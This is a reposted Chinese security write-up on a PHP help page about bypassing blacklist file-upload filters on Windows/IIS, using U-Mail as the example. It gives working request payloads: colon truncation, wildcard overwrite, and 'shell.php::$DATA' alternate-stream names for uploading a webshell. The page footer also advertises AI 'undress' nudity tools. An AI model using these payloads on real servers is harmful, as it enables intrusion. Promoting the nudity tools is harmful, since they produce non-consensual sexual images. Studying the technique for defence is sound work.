Inhaltsverzeichnis
详细说明:
漏洞证明:
Heim php教程 php手册 pkav之当php懈垢windows通用上传缺陷

pkav之当php懈垢windows通用上传缺陷

Jun 06, 2016 pm 07:48 PM
php windows 上传 通用

$pkav-publish{当php懈垢windows} 剑心@xsser抛弃了我,但我却不能抛弃乌云.. php懈垢windows,就像男人邂逅女人,早晚都会出问题的.. 感谢二哥@gainover Tips:本文讲述一种新型的文件上传方式(几个特性导致的漏洞),并给出相应的实例.. 详细说明: #1 实例

$pkav->publish{当php懈垢windows}
剑心@xsser抛弃了我,但我却不能抛弃乌云..
php懈垢windows,就像男人邂逅女人,早晚都会出问题的..
感谢二哥@gainover
Tips:本文讲述一种新型的文件上传方式(几个特性导致的漏洞),并给出相应的实例..

详细说明:

#1 实例介绍

本案例采用的实例是:U-Mail邮件系统。

U-Mail邮件系统文件上传的地方代码是这样的:

code 区域
<code><?php <br />
if(ACTION =="attach-upload"){<br>
	if($_FILES){<br>
		$file_name = $_FILES['Filedata']['name'];<br>
		$file_type = $_FILES['Filedata']['type'];<br>
        $file_size = $_FILES['Filedata']['size'];<br>
        $file_source = $_FILES['Filedata']['tmp_name'];<br>
        $file_suffix = getfilenamesuffix( $file_name );<br>
        $not_allow_ext = array( "php", "phps", "php3", "exe", "bat" );<br>
        if (in_array($file_suffix, $not_allow_ext )){<br>
            dump_json( array( "status" => 0, "message" => el( "不支持该扩展名文件上传", "" ) ) );<br>
        }<br>
        $path_target = getusercachepath( );<br>
        do{<br>
            $file_id = makerandomname( );<br>
            $file_target = $path_target.$file_id.".".$file_suffix;<br>
        } while ( file_exists( $file_target ) );<br>
        if ( move_uploaded_file( $file_source, $file_target )){<br>
            dump_json( array( "status" => 0, "message" => el( "写入文件出错,请与管理员联系!", "" ) ) );<br>
        }<br>
        $_SESSION[SESSION_ID]['attach_cache'][] = array( "id" => $file_id, "name" => $file_name, "type" => "1", "path" => $file_target, "size" => $file_size );<br>
        dump_json( array( "status" => "1", "filename" => $file_name, "filesize" => $file_size, "file_id" => $file_id ) );<br>
    }else{<br>
        dump_json( array( "status" => "0", "message" => el( "无法找到需要上传的文件!", "" ) ) );<br>
    }<br>
}</code>
Nach dem Login kopieren



我们注意到如下的代码

code 区域
<code>$not_allow_ext = array( "php", "phps", "php3", "exe", "bat" );<br>
if (in_array($file_suffix, $not_allow_ext )){<br>
	dump_json( array( "status" => 0, "message" => el( "不支持该扩展名文件上传", "" ) ) );<br>
}</code>
Nach dem Login kopieren



非常明显,采用的是黑名单验证,虽然我们可以采用类似这样的文件后缀绕过程序的检测,如:bypass.phpX(这里的X代表空格%20或其他特殊字符{%80-%99}),但这完全不是今天我想要讲的内容。

今天,通过这个实例给大家讲解一种新型的文件上传方式,且听我细细道来..

#2 代码poc实现

为了在本地测试方便,我们对上述代码进行简化,如下

code 区域
<code><?php <br />
//U-Mail demo ...<br>
if(isset($_POST['submit'])){<br>
	$filename = $_POST['filename'];<br>
	$filename = preg_replace("/[^\w]/i", "", $filename);<br>
	$upfile = $_FILES['file']['name'];<br>
        $upfile = str_replace(';',"",$upfile);<br>
	$upfile = preg_replace("/[^(\w|\:|\$|\.|\)]/i", "", $upfile);<br>
	$tempfile = $_FILES['file']['tmp_name'];<br>
<br>
	$ext = trim(get_extension($upfile)); // null<br>
<br>
	if(in_array($ext,array('php','php3','php5'))){<br>
		die('Warning ! File type error..');<br>
	}<br>
<br>
	if($ext == 'asp' or $ext == 'asa' or $ext == 'cer' or $ext == 'cdx' or $ext == 'aspx' or $ext == 'htaccess') $ext = 'file';<br>
<br>
        //$savefile = 'upload/'.$upfile;<br>
	$savefile = 'upload/'.$filename.".".$ext;<br>
<br>
	if(move_uploaded_file($tempfile,$savefile)){<br>
		die('Success upload..path :'.$savefile);<br>
	}else{<br>
		die('Upload failed..');<br>
	}<br>
}<br>
function get_extension($file){<br>
	return strtolower(substr($file, strrpos($file, '.')+1));<br>
}<br>
?><br>
<br>
 <br>
  <form method="post" action="upfile.php" enctype="multipart/form-data">
<br>
   <input type="file" name="file" value=""><br>
   <input type="hidden" name="filename" value="file"><br>
   <input type="submit" name="submit" value="upload"><br>
  </form>
<br>
 <br>
</code>
Nach dem Login kopieren



对于上述代码,虽然是通过黑名单进行文件名检测,但通过目前已知的上传方法,是没有办法成功上传php文件的(不考虑程序的Bug),因此可以说这段文件上传的代码是"安全"的,

可是,我蓦然回首,在那个灯火阑珊的地方,php邂逅了Windows,美丽的爱情故事便由此产生了..

#3 细说故事

某天,二哥在群里丢了一个url连接,我简单看了下,关于利用系统特性进行文件上传的,兴趣马上就来了,就细细研究了下,于是有了这篇文章..

pkav之当php懈垢windows通用上传缺陷



这几行英文的意思大致是,在php+window+iis环境下:

双引号(">") 点号(".")';

大于符号(">") 问号("?")';

小于符号(" 星号("*")';

有这么好玩的东西,那不就可以做太多的事了?但事实并不是这样,通过一系列的测试发现,该特性只能用于文件上传时覆盖已知的文件,于是这个特性便略显鸡肋..

原因有二:

1)上传文件的目录一般我们都不可控;

2)同时,一般文件上传的目录不可能存在我们想要的任何php文件,因此没办法覆盖;

后来,经过反反复复的思考,终于找到了可以完美利用的办法..

思路如下:

首先我们先利用特殊办法生成一个php文件,然后再利用这个特性将文件覆盖..

可问题又来了,怎样生成php文件呢?如果可以直接生成php文件的话,干嘛还要利用那什么特性?

别急,办法总是有的..

我们都知道在文件上传时,我们往往会考虑到文件名截断,如%00 等..

对!有的人可能还会用冒号(":")去截断,如:bypass.php:jpg

但是你知道吗?冒号截断产生的文件是空白的,里面并不会有任何的内容,呵呵 说到这里 明白了没有? 虽然生成的php文件里面没有内容,但是php文件总生成了吧,所以 我们可以结合上面所说的特性完美成功利用..

#4 冒号+特性成功利用

按照#3提供的思路,实现..

本地测试地址:http://www.secmap.cn/upfile.php 环境:Windows+IIS7.5

1)首先利用冒号生成我们将要覆盖的php文件,这里为:bypass.php,如图

pkav之当php懈垢windows通用上传缺陷



点击forward后,可以看见成功生成空白的bypass.php文件

pkav之当php懈垢windows通用上传缺陷



2)利用上面的系统特性覆盖该文件

从上面已经知道"
我们可以这样修改上传的文件名,如下:

code 区域
<code>------WebKitFormBoundaryaaRARrn2LBvpvcwK<br>
Content-Disposition: form-data; name="file"; filename="bypass.
Content-Type: image/jpeg<br>
//注意!文件名为:bypass.</code>
Nach dem Login kopieren



点击go..,即可成功覆盖bypass.php文件,如图

pkav之当php懈垢windows通用上传缺陷



对比上面的两个图,bypass.php被我们成功的写入了内容..

pkav之当php懈垢windows通用上传缺陷



#5 特性二

首先来看看微软MSDN上面的一段话,如图

pkav之当php懈垢windows通用上传缺陷



注意红色圈起来的英文

code 区域
<code>The default data stream has no name. That is, the fully qualified name for the default stream for a file called "sample.txt" is "sample.txt::$DATA" since "sample.txt" is the name of the file and "$DATA" is the stream type.</code>
Nach dem Login kopieren



看不去不错哟,试试吧..

同样,我们可以这样修改上传的文件名,如下:

code 区域
<code>------WebKitFormBoundaryaaRARrn2LBvpvcwK<br>
Content-Disposition: form-data; name="file"; filename='DataStreamTest.php::$DATA'<br>
Content-Type: image/jpeg<br>
//注意!文件名为:DataStreamTest.php::$DATA</code>
Nach dem Login kopieren



点击GO,奇迹出现了..

pkav之当php懈垢windows通用上传缺陷



访问之...

pkav之当php懈垢windows通用上传缺陷

 

漏洞证明:

#6 漏洞证明

U-Mail,具体利用方法,同上述的方法一样,为了简单快捷的话,可直接抓包修改文件名为:

shell.php::$DATA 即可成功上传,这里不再演示,附shell

pkav之当php懈垢windows通用上传缺陷

Erklärung dieser Website
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn

Heiße KI -Werkzeuge

Undresser.AI Undress

Undresser.AI Undress

KI-gestützte App zum Erstellen realistischer Aktfotos

AI Clothes Remover

AI Clothes Remover

Online-KI-Tool zum Entfernen von Kleidung aus Fotos.

Undress AI Tool

Undress AI Tool

Ausziehbilder kostenlos

Clothoff.io

Clothoff.io

KI-Kleiderentferner

AI Hentai Generator

AI Hentai Generator

Erstellen Sie kostenlos Ai Hentai.

Heiße Werkzeuge

Notepad++7.3.1

Notepad++7.3.1

Einfach zu bedienender und kostenloser Code-Editor

SublimeText3 chinesische Version

SublimeText3 chinesische Version

Chinesische Version, sehr einfach zu bedienen

Senden Sie Studio 13.0.1

Senden Sie Studio 13.0.1

Leistungsstarke integrierte PHP-Entwicklungsumgebung

Dreamweaver CS6

Dreamweaver CS6

Visuelle Webentwicklungstools

SublimeText3 Mac-Version

SublimeText3 Mac-Version

Codebearbeitungssoftware auf Gottesniveau (SublimeText3)

Wie aktualisiere ich die neueste Version von Bybit Exchange? Wird es Auswirkungen geben, wenn es nicht aktualisiert wird? Wie aktualisiere ich die neueste Version von Bybit Exchange? Wird es Auswirkungen geben, wenn es nicht aktualisiert wird? Feb 21, 2025 pm 10:54 PM

Die Möglichkeit zur Aktualisierung von Bybit -Börsen variiert je nach Plattform und Gerät: Mobil: Überprüfen Sie nach Updates und installieren Sie im App Store. Desktop -Client: Überprüfen Sie die Updates im Hilfemenü und installieren Sie automatisch. Webseite: Sie müssen auf die offizielle Website zugreifen, um Updates zu erhalten. Wenn der Austausch nicht aktualisiert wird, kann dies zu Sicherheitslücken, funktionalen Einschränkungen, Kompatibilitätsproblemen und reduzierter Transaktionseffizienz führen.

Deepseek Web Version Eingang Deepseek Offizielle Website Eingang Deepseek Web Version Eingang Deepseek Offizielle Website Eingang Feb 19, 2025 pm 04:54 PM

Deepseek ist ein leistungsstarkes Intelligent -Such- und Analyse -Tool, das zwei Zugriffsmethoden bietet: Webversion und offizielle Website. Die Webversion ist bequem und effizient und kann ohne Installation verwendet werden. Unabhängig davon, ob Einzelpersonen oder Unternehmensnutzer, können sie massive Daten über Deepseek problemlos erhalten und analysieren, um die Arbeitseffizienz zu verbessern, die Entscheidungsfindung zu unterstützen und Innovationen zu fördern.

PI -Knotenunterricht: Was ist ein PI -Knoten? Wie installiere und richte ich einen PI -Knoten ein? PI -Knotenunterricht: Was ist ein PI -Knoten? Wie installiere und richte ich einen PI -Knoten ein? Mar 05, 2025 pm 05:57 PM

Detaillierte Erläuterungs- und Installationshandbuch für Pinetwork -Knoten In diesem Artikel wird das Pinetwork -Ökosystem im Detail vorgestellt - PI -Knoten, eine Schlüsselrolle im Pinetwork -Ökosystem und vollständige Schritte für die Installation und Konfiguration. Nach dem Start des Pinetwork -Blockchain -Testnetzes sind PI -Knoten zu einem wichtigen Bestandteil vieler Pioniere geworden, die aktiv an den Tests teilnehmen und sich auf die bevorstehende Hauptnetzwerkveröffentlichung vorbereiten. Wenn Sie Pinetwork noch nicht kennen, wenden Sie sich bitte an was Picoin ist? Was ist der Preis für die Auflistung? PI -Nutzung, Bergbau und Sicherheitsanalyse. Was ist Pinetwork? Das Pinetwork -Projekt begann 2019 und besitzt seine exklusive Kryptowährung PI -Münze. Das Projekt zielt darauf ab, eine zu erstellen, an der jeder teilnehmen kann

So installieren Sie Deepseek So installieren Sie Deepseek Feb 19, 2025 pm 05:48 PM

Es gibt viele Möglichkeiten, Deepseek zu installieren, einschließlich: kompilieren Sie von Quelle (für erfahrene Entwickler) mit vorberechtigten Paketen (für Windows -Benutzer) mit Docker -Containern (für bequem am besten, um die Kompatibilität nicht zu sorgen), unabhängig von der Methode, die Sie auswählen, bitte lesen Die offiziellen Dokumente vorbereiten sie sorgfältig und bereiten sie voll und ganz vor, um unnötige Schwierigkeiten zu vermeiden.

Offizieller Eingang des offiziellen Website des Coinsuper Exchange Software Channel Offizieller Eingang des offiziellen Website des Coinsuper Exchange Software Channel Feb 21, 2025 pm 10:39 PM

Der offizielle Eingang der Website des Coinsuper -Austauschs: https://www.coinsuper.com. Die Client -Download -Kanäle sind: Windows -Client, MacOS -Client und Mobile (iOS/Android). Die Registrierung erfordert eine E-Mail, eine Handynummer und ein Passwort, und Sie müssen die echte Authentifizierung abschließen, bevor Sie handeln können. Die Plattform bietet eine Vielzahl von digitalen Asset -Transaktionen, einschließlich Bitcoin, Ethereum usw., mit dem Transaktionsgebührrate von 0,1% für Bestellungen und Akzeptoren. Zu den Sicherheitssicherungen zählen Kaltbrieftaschenlager, zweifaktorische Überprüfung, Anti-Geldwäsche- und Anti-Terrorismus-Finanzierungsmaßnahmen sowie die Sicherheitsbevölkerung.

Ouyi OKX Installationspaket ist direkt enthalten Ouyi OKX Installationspaket ist direkt enthalten Feb 21, 2025 pm 08:00 PM

Ouyi Okx, die weltweit führende digitale Asset Exchange, hat jetzt ein offizielles Installationspaket gestartet, um ein sicheres und bequemes Handelserlebnis zu bieten. Auf das OKX -Installationspaket von Ouyi muss nicht über einen Browser zugegriffen werden. Der Installationsprozess ist einfach und einfach zu verstehen.

Bitget Offizielle Website -Installation (2025 Anfängerhandbuch) Bitget Offizielle Website -Installation (2025 Anfängerhandbuch) Feb 21, 2025 pm 08:42 PM

Bitget ist eine Kryptowährungsbörse, die eine Vielzahl von Handelsdienstleistungen anbietet, darunter Spot -Handel, Vertragshandel und Derivate. Der 2018 gegründete Austausch hat seinen Hauptsitz in Singapur und verpflichtet sich, den Benutzern eine sichere und zuverlässige Handelsplattform zu bieten. Bitget bietet eine Vielzahl von Handelspaaren, einschließlich BTC/USDT, ETH/USDT und XRP/USDT. Darüber hinaus hat der Austausch einen Ruf für Sicherheit und Liquidität und bietet eine Vielzahl von Funktionen wie Premium -Bestellarten, gehebelter Handel und Kundenunterstützung rund um die Uhr.

Holen Sie sich das Installationspaket Gate.io kostenlos Holen Sie sich das Installationspaket Gate.io kostenlos Feb 21, 2025 pm 08:21 PM

Gate.io ist ein beliebter Kryptowährungsaustausch, den Benutzer verwenden können, indem sie sein Installationspaket herunterladen und auf ihren Geräten installieren. Die Schritte zum Abholen des Installationspakets sind wie folgt: Besuchen Sie die offizielle Website von Gate.io, klicken Sie auf "Download", wählen Sie das entsprechende Betriebssystem (Windows, Mac oder Linux) und laden Sie das Installationspaket auf Ihren Computer herunter. Es wird empfohlen, die Antiviren -Software oder -Firewall während der Installation vorübergehend zu deaktivieren, um eine reibungslose Installation zu gewährleisten. Nach Abschluss muss der Benutzer ein Gate.io -Konto erstellen, um es zu verwenden.

See all articles